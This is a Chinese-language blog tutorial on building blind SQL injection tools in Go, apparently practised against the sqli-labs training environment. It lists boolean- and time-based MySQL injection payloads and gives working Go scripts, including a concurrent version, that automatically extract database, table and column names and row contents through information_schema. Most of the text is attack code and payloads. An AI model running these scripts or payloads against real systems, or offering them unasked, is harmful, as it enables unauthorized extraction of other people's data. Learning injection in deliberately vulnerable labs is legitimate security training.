Golang 盲注脚本

Golang 盲注脚本

payload部分

其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)

bool盲注

下面是最基础的布尔型盲注的payload

' and length(database()=n)--+

' and (ascii(substr(database(),1))=110 --+

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+

' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+

' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+

' and length((select id from emails limit 0,1)>1)--+


时间盲注

下面是时间盲注的payload

' and sleep(3)--+
' and if(length(database())=8,sleep(3),1)--+
' and if( payload   ,sleep(3),1)--+
' and if((ascii(substr(database(),1))=115),sleep(3),1)-- 

脚本思路

脚本思路也比较简单(只针对GET型注入,POST型同理)

布尔型

对于布尔型盲注,配合构造好的payload发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit来逐位判断。

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"strings"
)
//发送get请求
func getRequest(payload string)  bool{
	payload = url.QueryEscape(payload)
	resp, err1 := http.Get(urlL + payload)
	if err1 != nil {
		log.Fatalln(err1)
	}
	body, err2:= ioutil.ReadAll(resp.Body)
	if err2 != nil {
		log.Fatalln(err2)
	}
	defer resp.Body.Close()
	if strings.Contains(string(body), "You are in...........") {
		return true
	}
	return false
}
//判断长度的方法
func testLength(payload string) int {
	var result int
	for i := 0; i < 50; i++ {
		payloadDbLength  := fmt.Sprintf("' and length(%s)=%d-- ", payload, i)
		f := getRequest(payloadDbLength)
		if f {
			result = i
			break
		}

	}
	return result
}
//逐位判断的方法
func testName(payload string, length int)  string{
	var result string
	for i := 1; i <= length; i++ {
		for j :=32 ; j <= 128; j++ {
			payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j)
			f := getRequest(payloadDbName)
			if f {
				result += string(rune(j))
				fmt.Println(result)
			}
		}

	}
	return result
}
//该方法用于指定字段和表名的判断,需要给定参数表名和字段名
func testContext(tableName, columnName string)  {
	ctxList := make([]string,0)
	for i := 0; i < 50; i++  {
		ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i)
		ctxLength := testLength(ctxPayload)
		if ctxLength == 0 {
			break
		}
		ctx := testName(ctxPayload,ctxLength)
		ctxList = append(ctxList, ctx)
		fmt.Println(ctx)
	}
	fmt.Println(ctxList)
}


func sqlInjectBaseBool() {
	dbPayload := "database()"
	dbLength = testLength(dbPayload)
	fmt.Println(dbLength)
	dbName = testName(dbPayload,dbLength)
	test = ""
	fmt.Println(dbName)
	for i := 0; i < 20; i++ {
		tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
		tableLength := testLength(tablePayload)
		if tableLength == 0 {
			break
		}
		tableName := testName(tablePayload, tableLength)
		test = ""
		tableList = append(tableList, tableName)
		fmt.Println(tableName)
	}
	fmt.Println(tableList)
	//tableList := []string{"emails", "referers", "uagents", "users"}


	for _, tableName := range tableList {
		columnList := make([]string,0)
		fmt.Println(tableName)
		for i := 0; i < 20; i++ {
			columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
			columnLength := testLength(columnPayload)
			if columnLength == 0{
				break
			}
			columnName := testName(columnPayload,columnLength)
			test = ""
			columnList = append(columnList, columnName)

		}
		tableAndColumns[tableName] = columnList
	}
	fmt.Println(tableAndColumns)

}

时间型

同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()函数中设定的时间。

package main

import (
	"fmt"
	"log"
	"net/http"
	"net/url"
	"time"
)
//发送get请求。判断响应时长是否大于预定时间
func getRequestBaseTime(payload string)  bool{
	payload = url.QueryEscape(payload)
	//fmt.Println(payload)
	startTime := time.Now()
	resp, err1 := http.Get(urlL + payload)
	if err1 != nil {
		log.Fatalln(err1)
	}
	defer resp.Body.Close()
	endTime := time.Now()
	usedTime := endTime.Sub(startTime)

	if usedTime >= 3 * time.Second {
		return true
	}

	return false
}
//判断长度的方法
func testLengthBaseTime(payload string) int {
	var result int
	for i := 0; i < 50; i++ {
		payloadDbLength  := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i)
		f := getRequestBaseTime(payloadDbLength)
		if f {
			result = i
			break
		}

	}
	return result
}
//判断表名、库名等的方法
func testNameBaseTime(payload string, length int)  string{
	var result string
	for i := 1; i <= length; i++ {
		for j :=32 ; j <= 128; j++ {
			payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j)
			f := getRequestBaseTime(payloadDbName)
			if f {
				result += string(rune(j))
				fmt.Println(result)
			}
		}

	}
	return result
}

func sqlInjectBaseTime() {
	dbPayload := "database()"
	dbLength = testLengthBaseTime(dbPayload)
	fmt.Println(dbLength)
	dbName = testNameBaseTime(dbPayload,dbLength)
	test = ""
	fmt.Println(dbName)
	for i := 0; i < 20; i++ {
		tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
		tableLength := testLength(tablePayload)
		if tableLength == 0 {
			break
		}
		tableName := testNameBaseTime(tablePayload, tableLength)
		test = ""
		tableList = append(tableList, tableName)
		fmt.Println(tableName)
	}
	fmt.Println(tableList)
	//tableList := []string{"emails", "referers", "uagents", "users"}


	for _, tableName := range tableList {
		columnList := make([]string,0)
		fmt.Println(tableName)
		for i := 0; i < 20; i++ {
			columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
			columnLength := testLengthBaseTime(columnPayload)
			if columnLength == 0{
				break
			}
			columnName := testNameBaseTime(columnPayload,columnLength)
			test = ""
			columnList = append(columnList, columnName)

		}
		tableAndColumns[tableName] = columnList
	}
	fmt.Println(tableAndColumns)

}

关于并发

下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。

在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。

逻辑也比较简单,时间盲注也可以使用此逻辑。。

但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。

package main

import (
	"fmt"
	"sync"
)

func sqlInject() {
	dbPayload := "database()"
	dbLength = testLength(dbPayload)
	fmt.Println(dbLength)
	dbName = testWorker(dbPayload,dbLength)
	test = ""
	fmt.Println(dbName)
	for i := 0; i < 20; i++ {
		tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
		tableLength := testLength(tablePayload)
		if tableLength == 0 {
			break
		}
		tableName := testWorker(tablePayload, tableLength)
		test = ""
		tableList = append(tableList, tableName)
		fmt.Println(tableName)
	}
	fmt.Println(tableList)
	//tableList := []string{"emails", "referers", "uagents", "users"}


	for _, tableName := range tableList {
		columnList := make([]string,0)
		fmt.Println(tableName)
		for i := 0; i < 20; i++ {
			columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
			columnLength := testLength(columnPayload)
			if columnLength == 0{
				break
			}
			columnName := testWorker(columnPayload,columnLength)
			test = ""
			columnList = append(columnList, columnName)

		}
		tableAndColumns[tableName] = columnList
	}
	fmt.Println(tableAndColumns)

}





//工人函数,从asciiCode这个通道内取出数据来判断。。
func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) {
	for code := range asciiCode {
		payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code)
		f := getRequest(payloadDbName)
		if f {
			test += string(rune(code))
			fmt.Println(test)
			//close(asciiCode)
		}
		wg.Done()
	}
}



func testWorker(payload string, length int)  string{
	//var result string
	var wg sync.WaitGroup
	for j := 1; j <= length; j++ {
        //缓冲通道的容量也可以设置的大一些,可以稍微提升性能。
		asciiCode := make(chan int,10)
		for i := 0; i < 10; i++ {
			go worker(asciiCode, payload, j, &wg)
		}

		for i := 32; i <= 128; i++{
			wg.Add(1)
			asciiCode <- i
		}
		wg.Wait()
		close(asciiCode)

	}
	return test
}


踩坑

发起的GET请求中,URL字符串必须先进行编码。

如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。

可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()

当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+会被认为是一个空格。所以在payload中需要把+号换成空格。

上一篇:安装node-sass时遇到的问题


下一篇:sass